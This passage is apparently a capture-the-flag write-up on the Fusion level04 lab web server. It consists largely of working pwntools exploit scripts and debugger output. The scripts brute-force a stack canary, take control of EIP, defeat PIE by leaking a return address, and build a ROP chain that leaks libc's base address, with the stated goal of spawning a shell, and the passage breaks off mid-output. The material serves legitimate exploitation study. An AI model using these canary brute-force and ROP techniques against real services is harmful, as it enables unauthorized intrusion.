Breakpoint 2 at 0xb78de287: file level04/level04.c, line 205.
Num Type Disp Enb Address What
1 breakpoint keep y 0xb78de287 in validate_credentials at level04/level04.c:205
2 breakpoint keep y 0xb78de287 in validate_credentials at level04/level04.c:205
[New process 23362]
[Switching to process 23362]
Breakpoint 1, 0xb78de287 in validate_credentials (line=0xbfb30581 "OjUySDJoMmMzdUVQMkxZUlhBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB"...) at level04/level04.c:205
205 level04/level04.c: No such file or directory.
in level04/level04.c
0xbfb25fc0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfb25fd0: 0xbfb25ff0 0x00000000 0x00000000 0x00000000
0xbfb25fe0: 0x00000000 0x00000000 0x00000000 0x00000010
0xbfb25ff0: 0x00000000 0x00000000 0x00000800 0x4832353a
0xbfb26000: 0x63326832 0x50457533 0x52594c32 0x41414158
0xbfb26010: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfb26020: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfb26030: 0x41414141 0x41414141 0x41414141 0x41414141
-------------------------------------------------------------
0xbfb267c0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfb267d0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfb267e0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfb267f0: 0x41414141 0x41414141 0x41414141 0x046d1f00
0xbfb26800: 0x0000000a 0x00000001 0xbfb3056c 0xb78e0118
0xbfb26810: 0xbfb3056c 0xb78ab884 0xb78df047 0xb78de4c0
0xbfb26820: 0xbfb30581 0xb78df047 0x00000015 0xbfb3538c
0xbfb26830: 0xbfb37a9c 0x00000000 0x00000000 0x00000000
[Inferior 2 (process 23362) exited normally]
In the memory dump above, the details
structure starts at 0xbfb25ffc
and ends at 0xbfb267fc
. The range covers exactly 2048 bytes.
On Linux systems, stack canaries always end with 0x00
to make it more likely that the attacker’s payload will get trucated during the buffer overflow in an attempt to replicate the stack canary. The null byte is an excellent choice to put in a stack canary because it is often a bad character that causes str
-like operations such as strcpy
to truncate the payload.
The stack canary is also located right after the details
buffer. In the example above, it is located at 0xbfb267fc
.
If we overflow the least significant byte in the canary, the app should crash with a stack smashing error. Let’s observe that in action:
import base64
import string
import sys
import time
from pwn import *
# Pwn context
context.arch = 'i386'
context.log_level = 'debug'
# Environment
HOST = '192.168.254.156'
PORT = 20004
PASSWORD = '52H2h2c3uEP2LYRX'
conn = remote(HOST, PORT)
# The overflow occurs in the password
overflow = b"A" * (2048 - len(PASSWORD))
payload = b"".join([
b"GET / HTTP/1.0\r\n",
b"Host: " + HOST.encode('utf-8') + b":" + str(PORT).encode('UTF-8') + b"\r\n"
b"User-Agent: curl/7.72.0\r\n"
b"Accept: */*\r\n"
b"Authorization: Basic " + base64.b64encode(b":" + PASSWORD.encode('UTF-8') + overflow),
b"\r\n\r\n"
])
conn.send(payload)
conn.recvall()
conn.close()
Let’s examine the output in GDB:
fusion@fusion:~$ sudo gdb -q -p 1424 -x ~/.gdbinit
Breakpoint 1 at 0xb78de287
Num Type Disp Enb Address What
1 breakpoint keep y 0xb78de287
/home/fusion/.gdbinit:5: Error in sourced command file:
The program is not being run.
Attaching to process 1424
Reading symbols from /opt/fusion/bin/level04...done.
Reading symbols from /lib/i386-linux-gnu/libc.so.6...Reading symbols from /usr/lib/debug/lib/i386-linux-gnu/libc-2.13.so...done.
done.
Loaded symbols for /lib/i386-linux-gnu/libc.so.6
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
0xb78bb424 in __kernel_vsyscall ()
Breakpoint 2 at 0xb78de287: file level04/level04.c, line 205.
Num Type Disp Enb Address What
1 breakpoint keep y 0xb78de287 in validate_credentials at level04/level04.c:205
2 breakpoint keep y 0xb78de287 in validate_credentials at level04/level04.c:205
[New process 23753]
[Switching to process 23753]
Breakpoint 1, 0xb78de287 in validate_credentials (line=0xbfb30581 "OjUySDJoMmMzdUVQMkxZUlhBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB"...) at level04/level04.c:205
205 level04/level04.c: No such file or directory.
in level04/level04.c
0xbfb25fc0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfb25fd0: 0xbfb25ff0 0x00000000 0x00000000 0x00000000
0xbfb25fe0: 0x00000000 0x00000000 0x00000000 0x00000010
0xbfb25ff0: 0x00000000 0x00000000 0x00000801 0x4832353a
0xbfb26000: 0x63326832 0x50457533 0x52594c32 0x41414158
0xbfb26010: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfb26020: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfb26030: 0x41414141 0x41414141 0x41414141 0x41414141
-------------------------------------------------------------
0xbfb267c0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfb267d0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfb267e0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfb267f0: 0x41414141 0x41414141 0x41414141 0x046d1f41
0xbfb26800: 0x0000000a 0x00000001 0xbfb3056c 0xb78e0118
0xbfb26810: 0xbfb3056c 0xb78ab884 0xb78df047 0xb78de4c0
0xbfb26820: 0xbfb30581 0xb78df047 0x00000015 0xbfb3538c
0xbfb26830: 0xbfb37a9c 0x00000000 0x00000000 0x00000000
Program received signal SIGABRT, Aborted.
0xb78bb424 in __kernel_vsyscall ()
A debugging session is active.
Inferior 2 [process 23753] will be detached.
Notice how the NULL byte at 0xbfb267fc
suddenly became \x41
and the process was aborted with SIGABRT
indicating stack smashing protection kicking in.
With this knowledge, we can repeatedly overflow the canary one byte at a time to leak it. In short, we will know that we have discovered the correct byte if stack smashing protection doesn’t kick in.
The code below will leak the stack canary one byte at a time:
leak-canary.py
import argparse
import base64
import binascii
import collections
import time
import string
import sys
from pwn import *
# Pwn context
context.arch = 'i386'
def make_payload(args, overflow):
payload = b"".join([
b"GET / HTTP/1.0\r\n",
b"Host: " + args.host.encode('utf-8') + b":" + str(args.port).encode('UTF-8') + b"\r\n"
b"User-Agent: curl/7.72.0\r\n"
b"Accept: */*\r\n"
b"Authorization: Basic ",
base64.b64encode(b":" + overflow),
b"\r\n\r\n"
])
return payload
def leak_canary(args, password):
context.log_level = 'error'
print('Leaking stack canary: ', end='\r')
x86_addr_len = 4
canary = b""
while len(canary) < x86_addr_len:
for b in range(0xff):
conn = remote(args.host, args.port)
# Overflow occurs in the password
padding = b"A" * (2048 - len(password)- 1)
overflow = b"".join([
password,
padding,
canary,
bytes([b])
])
payload = make_payload(args, overflow)
conn.send(payload)
data = conn.recvall()
conn.close()
if b'stack smashing' not in data:
canary += bytes([b])
print(b, end='\r')
break
print('.', end='')
print("\n")
context.log_level = 'info'
info(f'Stack canary: {hex(u32(canary))}')
return canary
def exploit(args):
password = b"52H2h2c3uEP2LYRX"
canary = leak_canary(args, password)
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Fusion level04 exploit by r0kit.')
parser.add_argument('--host', dest='host', type=str, required=True)
parser.add_argument('--port', dest='port', type=int, default=20004)
try:
args = parser.parse_args()
exploit(args)
except argparse.ArgumentError as e:
print("[!] {}".format(e))
parser.print_usage()
sys.exit(1)
Now, let’s leak the stack canary:
kali@kali:~/ctf/fusion/level04$ python3 leak-canary.py --host 192.168.254.156
Leaking stack canary: 0...............................31.............................................................................................................109....4
[*] Stack canary: 0x46d1f00
Success! We have successfully brute forced the stack canary!
Controlling EIP
Now that we have leaked the stack canary, let’s crash the app to verify we can control the EIP
register by appending a cyclic pattern to the vulnerable password field.
calculate-eip-crash-offset.py
import base64
import string
from pwn import *
# Pwn context
context.arch = 'i386'
context.log_level = 'debug'
# Environment
HOST = '192.168.254.156'
PORT = 20004
PASSWORD = '52H2h2c3uEP2LYRX'
canary = p32(0x46d1f00)
conn = remote(HOST, PORT)
# The overflow occurs in the password
padding = b"A" * (2048 - len(PASSWORD)- 1)
payload = b"".join([
b"GET / HTTP/1.0\r\n",
b"Host: " + HOST.encode('utf-8') + b":" + str(PORT).encode('UTF-8') + b"\r\n"
b"User-Agent: curl/7.72.0\r\n"
b"Accept: */*\r\n"
b"Authorization: Basic " + base64.b64encode(b":" + PASSWORD.encode('UTF-8') + padding + canary + cyclic(0x100)),
b"\r\n\r\n"
])
conn.send(payload)
conn.close()
After running the script above, let’s examine where in our buffer we take control over EIP
:
fusion@fusion:~$ sudo gdb -q -p 1424
Attaching to process 1424
Reading symbols from /opt/fusion/bin/level04...done.
Reading symbols from /lib/i386-linux-gnu/libc.so.6...Reading symbols from /usr/lib/debug/lib/i386-linux-gnu/libc-2.13.so...done.
done.
Loaded symbols for /lib/i386-linux-gnu/libc.so.6
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
0xb78bb424 in __kernel_vsyscall ()
(gdb) c
Continuing.
[New process 23989]
Program received signal SIGSEGV, Segmentation fault.
[Switching to process 23989]
0x61616168 in ?? ()
(gdb) quit
A debugging session is active.
Inferior 2 [process 23989] will be detached.
Quit anyway? (y or n) y
Detaching from program: /opt/fusion/bin/level04, process 23989
If we lookup the 0x61616168
, it will let us know that we can control EIP
28 bytes after the stack canary:
kali@kali:~/ctf/fusion/level04$ cyclic -l 0x61616168
28
Now, let’s verify control over EIP
by setting to 0xdeadbeef
:
calculate-eip-crash-deadbeef.py
import base64
import string
from pwn import *
# Pwn context
context.arch = 'i386'
context.log_level = 'debug'
# Environment
HOST = '192.168.254.156'
PORT = 20004
PASSWORD = '52H2h2c3uEP2LYRX'
canary = p32(0x46d1f00)
conn = remote(HOST, PORT)
# The overflow occurs in the password
padding = b"A" * (2048 - len(PASSWORD)- 1)
payload = b"".join([
b"GET / HTTP/1.0\r\n",
b"Host: " + HOST.encode('utf-8') + b":" + str(PORT).encode('UTF-8') + b"\r\n"
b"User-Agent: curl/7.72.0\r\n"
b"Accept: */*\r\n"
b"Authorization: Basic " + base64.b64encode(b":" + PASSWORD.encode('UTF-8') + padding + canary + b"A"*28 + p32(0xdeadbeef)),
b"\r\n\r\n"
])
conn.send(payload)
conn.close()
In GDB:
fusion@fusion:~$ sudo gdb -q -p 1424
Attaching to process 1424
Reading symbols from /opt/fusion/bin/level04...done.
Reading symbols from /lib/i386-linux-gnu/libc.so.6...Reading symbols from /usr/lib/debug/lib/i386-linux-gnu/libc-2.13.so...done.
done.
Loaded symbols for /lib/i386-linux-gnu/libc.so.6
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
0xb78bb424 in __kernel_vsyscall ()
(gdb) c
Continuing.
[New process 24008]
Program received signal SIGSEGV, Segmentation fault.
[Switching to process 24008]
0xdeadbeef in ?? ()
Success! We are now able to reliably control the EIP
register!
Defeating PIE (Position Independent Executables)
Since the stack is non-executable, we ultimately want to search and combine ROP gadgets to pop a shell.
However, we can’t simply invoke library and function calls from within the executable since the ELF’s base address is randomized. This is effectively what PIE
does.
Therefore, we must leak the function to an address in the ELF to discover the ELF’s base address.
Since we take control over EIP
28 bytes after the stack canary, we can effectively leak this address the same way we did for the stack canary.
That said, this challenge presents a couple caveats against this approach.
In a normal scenario, from the validate_credentials()
, the original program returned back to the webserver()
function, representing a valid form of code execution.
Therefore, if we want to leak a valid return address, we need the program to behave the same way it would when a non-malicious user interacts with it.
In x86
, the function epilogue normally shifts the stack upwards towards higher addresses and pops some values into registers which are then used by the function’s caller.
Let’s take a look at the function epilogue in validate_credentials()
:
[0x000016dc]> s sym.validate_credentials
[0x00002150]> pdf
... CONTENT SNIPPED ...
│ │││╎││ 0x000022af 81c44c080000 add esp, 0x84c
│ │││╎││ 0x000022b5 5b pop ebx
│ │││╎││ 0x000022b6 5e pop esi
│ │││╎││ 0x000022b7 5f pop edi
│ │││╎││ 0x000022b8 5d pop ebp
│ │││╎││ 0x000022b9 c3 ret
... CONTENT SNIPPED ...
Notice how the stack is shifted upwards by 0x84c
bytes, then 4 addresses (i.e. 16 bytes) are popped off the stack and finally we have the return address.
Since buffer overflow attacks fill the buffer, if we were to overwrite the return address, then the previous values on the stack we overflowed would end up in EBX
, ESI
, EDI
, and EBP
respectively.
Therefore, we should take care to see whether overwriting the values in any of those registers has a significant impact on how the caller webserver()
behaves.
If you want to see what happens when you overwrite the EBX
register, you can play around a bit with the script below (make sure you provide the valid password and stack canary):
leak-address-fail.py
import argparse
import base64
import string
from pwn import *
# Pwn context
context.arch = 'i386'
context.log_level = 'warn'
def exploit(args):
print('Trying to leak return address: ', end='\r')
x86_addr_len = 4
canary = p32(0x46d1f00)
return_address = b""
while len(return_address) < x86_addr_len:
for b in range(0xff):
conn = remote(args.host, args.port)
# The overflow occurs in the password
overflow = b"A" * (2048 - len(args.password)- 1)
payload = b"".join([
b"GET / HTTP/1.0\r\n",
b"Host: " + args.host.encode('utf-8') + b":" + str(args.port).encode('UTF-8') + b"\r\n"
b"User-Agent: curl/7.72.0\r\n"
b"Accept: */*\r\n"
b"Authorization: Basic " + base64.b64encode(b":" + args.password.encode('UTF-8') + overflow + canary + b"A" * 28 + return_address + bytes([b])),
b"\r\n\r\n"
])
conn.send(payload)
data = conn.recvall()
conn.close()
if b'HTTP/1.0 200 Ok' in data:
# import ipdb;ipdb.set_trace()
return_address += bytes([b])
print(b, end='\r')
break
print('.', end='')
print("\n")
context.log_level = 'info'
info(f'Return address: {hex(u32(return_address))}')
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Fusion level04 failed attempt to leak return address.')
parser.add_argument('--host', dest='host', type=str, required=True)
parser.add_argument('--port', dest='port', type=int, default=20004)
parser.add_argument('--password', dest='password', type=str, required=True)
try:
args = parser.parse_args()
exploit(args)
except argparse.ArgumentError as e:
print("[!] {}".format(e))
parser.print_usage()
sys.exit(1)
With that out of the way, let’s disassemble the caller function webserver()
to see why the value of the EBX
register matters.
The image below was from cutter, a front-end interface for radare2.
Effectively, [ebx - 0x10bb]
is being compared to [esp + 0xc45c]
.
Debugging this in GDB will do a string insensitive comparison of the values pointed to by the offsets above.
We need to take the red arrow in the diagram since we need the jne
operation to result in false, otherwise we end up in the send_error
function.
I recommend examining the webserver()
function in a graphical disassembler if you wish to further look into this which is an excercise left to the reader.
Now that we know why we need to retain the original EBX
, let’s leak it:
leak-ebx.py
import argparse
import base64
import binascii
import collections
import time
import string
import sys
from pwn import *
# Pwn context
context.arch = 'i386'
# Environment
PASSWORD_LEN = 16 # The hard-coded length of the app's password
def make_payload(args, overflow):
payload = b"".join([
b"GET / HTTP/1.0\r\n",
b"Host: " + args.host.encode('utf-8') + b":" + str(args.port).encode('UTF-8') + b"\r\n"
b"User-Agent: curl/7.72.0\r\n"
b"Accept: */*\r\n"
b"Authorization: Basic ",
base64.b64encode(b":" + overflow),
b"\r\n\r\n"
])
return payload
def leak_ebx(args, password, canary):
context.log_level = 'warn'
print('Leaking EBX: ', end='\r')
x86_addr_len = 4
padding = b"A" * (2048 - len(password)- 1)
post_canary_padding = b""
post_canary_eip_offset = 0x1c
post_canary_ebx_offset = post_canary_eip_offset - 0x10
post_canary_ebx_padding = b"A" * post_canary_ebx_offset
ebx = b""
while len(ebx) < x86_addr_len:
for b in range(0xff):
conn = remote(args.host, args.port)
overflow = b"".join([
password,
padding,
canary,
post_canary_ebx_padding,
ebx,
bytes([b])
])
payload = make_payload(args, overflow)
conn.send(payload)
data = conn.recvall()
conn.close()
if b"HTTP/1.0 200 Ok" in data:
ebx += bytes([b])
print(b, end='\r')
break
print('.', end='')
print("\n")
context.log_level = 'info'
ebx = u32(ebx)
info(f'EBX: {hex(ebx)}')
return ebx
def exploit(args):
password = b"52H2h2c3uEP2LYRX"
canary = p32(u32(binascii.unhexlify("046d1f00"), endian='big'))
ebx = leak_ebx(args, password, canary)
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Fusion level04 exploit by r0kit.')
parser.add_argument('--host', dest='host', type=str, required=True)
parser.add_argument('--port', dest='port', type=int, default=20004)
parser.add_argument('--password-leak-delay-loops', dest='delay_loops', type=int, default=10)
try:
args = parser.parse_args()
exploit(args)
except argparse.ArgumentError as e:
print("[!] {}".format(e))
parser.print_usage()
sys.exit(1)
$ python3 leak-ebx.py --host 192.168.254.156
Leaking EBX: ........................24.1..............................................................................................................................................142.......................................................................................................................................................................................183
[*] EBX: 0xb78e0118
And it looks like we leaked EBX! Let’s verify that this is indeed a sane value by interacting the the webserver a regular user would.
I set a breakpoint just after validate_credentials()
returns back to its caller webserver()
:
(gdb) disas webserver
... CONTENT SNIPPED ...
0xb78de4bb <+459>: call 0xb78de150 <validate_credentials>
0xb78de4c0 <+464>: mov DWORD PTR [esp+0x30],eax
... CONTENT SNIPPED ...
Use the following gdbscript, though you will want to modify the breakpoint to the memory address representing <webserver+464>
:
fusion@fusion:~$ cat gdbinit-ebx
set disassembly-flavor intel
set follow-fork-mode child
b *0xb78de4c0
c
echo EBX: \n
x/xw $ebx
echo -------------------------------------------------------------\n
echo EBX - 0x10bb:\n
x/s $ebx-0x10bb
echo -------------------------------------------------------------\n
echo ESP + 0xc45c\n
x/s $esp+0xc45c
c
quit
kali@kali:~/ctf/fusion/level04$ curl -vv -H "Authorization: Basic `echo -n :52H2h2c3uEP2LYRX | base64`" http://192.168.254.156:20004
* Trying 192.168.254.156:20004...
* Connected to 192.168.254.156 (192.168.254.156) port 20004 (#0)
> GET / HTTP/1.1
> Host: 192.168.254.156:20004
> User-Agent: curl/7.72.0
> Accept: */*
> Authorization: Basic OjUySDJoMmMzdUVQMkxZUlg=
>
* Mark bundle as not supporting multiuse
* HTTP 1.0, assume close after body
< HTTP/1.0 200 Ok
< Server: level04.c
< Date: Mon, 26 Oct 2020 15:00:01 GMT
< Content-Type: text/html
< Last-Modified: Fri, 27 Apr 2012 08:00:12 GMT
< Connection: close
<
<html><head><title>Index of ./</title></head>
<body bgcolor="#99cc99"><h4>Index of ./</h4>
<pre>
<a href=".">. </a> 27Apr2012 18:00 220
<a href="..">.. </a> 15Dec2011 10:37 60
<a href="core">core </a> 07Apr2012 12:40 339968
<a href="level00.pid">level00.pid </a> 26Oct2020 04:22 5
<a href="level01.pid">level01.pid </a> 06Nov2012 13:43 5
<a href="level02.pid">level02.pid </a> 26Oct2020 04:22 5
<a href="level03.pid">level03.pid </a> 26Oct2020 04:22 5
<a href="level04.pid">level04.pid </a> 26Oct2020 04:22 5
<a href="level05.pid">level05.pid </a> 26Oct2020 04:22 5
<a href="level06.pid">level06.pid </a> 26Oct2020 04:22 5
<a href="level07.pid">level07.pid </a> 26Oct2020 04:22 5
<a href="level09.pid">level09.pid </a> 26Oct2020 01:21 5
<a href="level10.pid">level10.pid </a> 08Apr2012 22:26 5
<a href="level11.pid">level11.pid </a> 09Apr2012 10:25 5
<a href="level12.pid">level12.pid </a> 26Oct2020 01:21 5
<a href="level13.pid">level13.pid </a> 21Apr2012 19:01 6
<a href="level14.pid">level14.pid </a> 28Apr2012 20:48 6
</pre>
<hr>
<address><a href="https://gist.github.com/2449d15e6fb675383c8b">level04.c</a></address>
</body></html>
* Closing connection 0
fusion@fusion:~$ sudo gdb -q -p 1424 -x ~/gdbinit-ebx
... CONTENT SNIPPED ...
Breakpoint 1 at 0xb78de4c0: file level04/level04.c, line 237.
[New process 15529]
[Switching to process 15529]
Breakpoint 1, 0xb78de4c0 in webserver (argc=0, argv=0x4) at level04/level04.c:237
237 level04/level04.c: No such file or directory.
in level04/level04.c
EBX:
0xb78e0118: 0x0000401c
-------------------------------------------------------------
EBX - 0x10bb:
0xb78df05d: "get"
-------------------------------------------------------------
ESP + 0xc45c
0xbfb32c7c: "GET"
[Inferior 2 (process 15529) exited normally]
The above makes sense since we are comparing get
to GET
which results in the conditional jump that doesn’t result in a send_error()
.
Now that we have leaked EBX
, we should be able to leak the return address having the process return an HTTP 200 Ok
, indicating normal behavior:
calculate-elf-base-address.py
import argparse
import base64
import binascii
import collections
import time
import string
import sys
from pwn import *
# Pwn context
context.arch = 'i386'
# Environment
PASSWORD_LEN = 16 # The hard-coded length of the app's password
TARGET_ELF = ELF('./level04') # Executable to search for PLT offsets
def make_payload(args, overflow):
payload = b"".join([
b"GET / HTTP/1.0\r\n",
b"Host: " + args.host.encode('utf-8') + b":" + str(args.port).encode('UTF-8') + b"\r\n"
b"User-Agent: curl/7.72.0\r\n"
b"Accept: */*\r\n"
b"Authorization: Basic ",
base64.b64encode(b":" + overflow),
b"\r\n\r\n"
])
return payload
def leak_elf_base_address(args, password, canary, ebx):
context.log_level = 'error'
print('Leaking return address: ', end='\r')
x86_addr_len = 4
padding = b"A" * (2048 - len(password)- 1)
post_canary_padding = b""
post_canary_eip_offset = 0x1c
post_canary_ebx_offset = post_canary_eip_offset - 0x10
post_canary_ebx_padding = b"A" * post_canary_ebx_offset
post_ebx_return_address_offset = post_canary_ebx_offset + 0x0c
post_ebx_return_address_padding = b"A" * 0x0c
return_address = b""
while len(return_address) < x86_addr_len:
for b in range(0xff):
conn = remote(args.host, args.port)
overflow = b"".join([
password,
padding,
canary,
post_canary_ebx_padding,
p32(ebx),
post_ebx_return_address_padding,
return_address,
bytes([b])
])
payload = make_payload(args, overflow)
conn.send(payload)
data = conn.recvall()
conn.close()
if b"HTTP/1.0 200 Ok" in data:
return_address += bytes([b])
print(b, end='\r')
break
print('.', end='')
print("\n")
context.log_level = 'info'
return_address = u32(return_address)
info(f'Return Address: {hex(return_address)}')
# We know that the webserver() function is the caller of the overflowed function.
# Therefore, from GDB, it returns 325 bytes into the function
webserver = TARGET_ELF.sym['webserver']
webserver_offset = 325 # Discovered with GDB analysis
base_address = return_address - webserver - webserver_offset
info(f'Calculated Base Address: {hex(base_address)}')
return base_address
def exploit(args):
password = b"52H2h2c3uEP2LYRX"
canary = p32(u32(binascii.unhexlify("046d1f00"), endian='big'))
ebx = u32(binascii.unhexlify("b78e0118"), endian='big')
leak_elf_base_address(args, password, canary, ebx)
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Fusion level04 exploit by r0kit.')
parser.add_argument('--host', dest='host', type=str, required=True)
parser.add_argument('--port', dest='port', type=int, default=20004)
parser.add_argument('--password-leak-delay-loops', dest='delay_loops', type=int, default=10)
try:
args = parser.parse_args()
exploit(args)
except argparse.ArgumentError as e:
print("[!] {}".format(e))
parser.print_usage()
sys.exit(1)
kali@kali:~/ctf/fusion/level04$ python3 calculate-elf-base-address.py --host 192.168.254.156
[*] '/home/kali/ctf/fusion/level04/level04'
Arch: i386-32-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
Leaking return address: .....................................................53....................................................................................................................................................................................................................................228.............................................................................................................................................141.......................................................................................................................................................................................183
[*] Return Address: 0xb78de435
[*] Calculated Base Address: 0xb78dc000
Ok, let me explain how the base address was calculated here.
Notice how the return address leaked was 0xb78de435
which, when examining it in GDB represents some offset into the webserver()
function.
Although this return address is different from the original one 0xb78de4c0
, it still got the code’s execution to return an HTTP 200 Ok
which is good enough for us.
Let’s see how this memory address looks like in GDB:
(gdb) x/xw 0xb78de435
0xb78de435 <webserver+325>: 0x010f840f
(gdb)
From that absolute address, we can calculate the relative offset at which webserver()
is positioned in the ELF by seeking it in radare2
:
[0x000023ec]> s sym.webserver
[0x000022f0]>
Keep in mind that 0xb78de435
represents the following: ELF base address + webserver offset - 325
. With this information, we can finally calculate the ELF’s base address.
Now that we have calculated the ELF’s base address, we can now start crafting our ROP chain!
Leaking Libc’s Base Address
Since the service runs on the remote network, we need a way to invoke system()
with /bin/sh
as an argument.
This should be sufficient since the program uses stdout and stdin as its socket’s input and output streams.
This was how we were able to previously leak the ELF’s base address earlier.
Since neither system()
or execve()
are imported by the ELF, we need to discover a couple things:
- The base address at which libc is loaded.
- Determine the libc version.
For this example, we already know that libc’s version is libc-2.13
.
However, when this information is not disclosed in such a CTF-style, we first need to disclove a GOT entry for a valid function in libc
.
Once we have that information, we can look it up in the libc database to determine the exact libc version.
After determining the libc version, we can calculate the base address at which libc was loaded at, effectively bypassing ASLR.
The code below will leak libc’s base address:
leak-libc-base-address.py
import argparse
import base64
import binascii
import collections
import time
import string
import sys
from pwn import *
# Pwn context
context.arch = 'i386'
# Environment
PASSWORD_LEN = 16 # The hard-coded length of the app's password
TARGET_ELF = ELF('./level04') # Executable to search for PLT offsets
TARGET_LIBC = ELF('/home/kali/tools/libc-database/db/libc6_2.13-20ubuntu5_i386.so') # LIBC matching that on the remote system
def make_payload(args, overflow):
payload = b"".join([
b"GET / HTTP/1.0\r\n",
b"Host: " + args.host.encode('utf-8') + b":" + str(args.port).encode('UTF-8') + b"\r\n"
b"User-Agent: curl/7.72.0\r\n"
b"Accept: */*\r\n"
b"Authorization: Basic ",
base64.b64encode(b":" + overflow),
b"\r\n\r\n"
])
return payload
def leak_libc_base_address(args, password, canary, ebx, elf_base_address):
context.log_level = 'debug'
rop = ROP(TARGET_ELF)
# A small ROP chain to leak __libc_start_main from the GOT
# __printf_chk(0, __libc_start_main);
# exit();
rop.raw(p32(elf_base_address + TARGET_ELF.sym['__printf_chk']))
rop.raw(p32(elf_base_address + TARGET_ELF.plt['exit']))
rop.raw(p32(0))
rop.raw(p32(elf_base_address + TARGET_ELF.got['__libc_start_main']))
return_address = rop.chain()
conn = remote(args.host, args.port)
padding = b"A" * (2048 - len(password)- 1)
post_canary_padding = b""
post_canary_eip_offset = 0x1c
post_canary_ebx_offset = post_canary_eip_offset - 0x10
post_canary_ebx_padding = b"A" * post_canary_ebx_offset
post_ebx_return_address_offset = post_canary_ebx_offset + 0x0c
post_ebx_return_address_padding = b"A" * 0x0c
overflow = b"".join([
password,
padding,
canary,
post_canary_ebx_padding,
p32(ebx),
post_ebx_return_address_padding,
return_address
])
payload = make_payload(args, overflow)
conn.send(payload)
data = conn.recvall()
leaked_libc_start_main = u32(data[:4])
conn.close()
info(f'Leaked __libc_start_main at {hex(leaked_libc_start_main)}')
libc_start_main = TARGET_LIBC.sym['__libc_start_main']
libc_base_address = leaked_libc_start_main - libc_start_main
info(f'Libc base address: {hex(libc_base_address)}')
return libc_base_address
def exploit(args):
password = b"52H2h2c3uEP2LYRX"
canary = p32(u32(binascii.unhexlify("046d1f00"), endian='big'))
ebx = u32(binascii.unhexlify("b78e0118"), endian='big')
elf_base_address = u32(binascii.unhexlify("b78dc000"), endian='big')
leak_libc_base_address(args, password, canary, ebx, elf_base_address)
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Fusion level04 exploit by r0kit.')
parser.add_argument('--host', dest='host', type=str, required=True)
parser.add_argument('--port', dest='port', type=int, default=20004)
parser.add_argument('--password-leak-delay-loops', dest='delay_loops', type=int, default=10)
try:
args = parser.parse_args()
exploit(args)
except argparse.ArgumentError as e:
print("[!] {}".format(e))
parser.print_usage()
sys.exit(1)
In the code above, we invoke __printf_chk
via ROP chaining to print the address of __libc_start_main
from the GOT. __printf_check
is pretty much printf
with stack overflow protection in determined by the first argument. We set it to zero since it appears that disables it, yet still leaks what we need.
Since stdout
is written to the socket, we will be able to access the absolute memory address of __libc_start_main
over the wire.
Note how I picked __libc_start_main
as the GOT entry to leak. This is because __libc_start_main
is called in pretty much every ELF. Also, keep in mind that GOT entries will only load when imported functions are invoked.
When developing the exploit, you will likely want to try different versions of libc, so instead of hardcoding offsets to libc functions, we can use pwntools
to automatically search libc for the offset based on our selected libc version when calculating libc’s base address.
kali@kali:~/ctf/fusion/level04$ python3 leak-libc-base-address.py --host 192.168.254.156
[*] '/home/kali/ctf/fusion/level04/level04'
Arch: i386-32-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
[*] '/home/kali/tools/libc-database/db/libc6_2.13-20ubuntu5_i386.so'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Loaded 16 cached gadgets for './level04'
[+] Opening connection to 192.168.254.156 on port 20004: Done
[DEBUG] Sent 0xb58 bytes:
b'GET / HTTP/1.0\r\n'
b'Host: 192.168.254.156:20004\r\n'
b'User-Agent: curl/7.72.0\r\n'
b'Accept: */*\r\n'
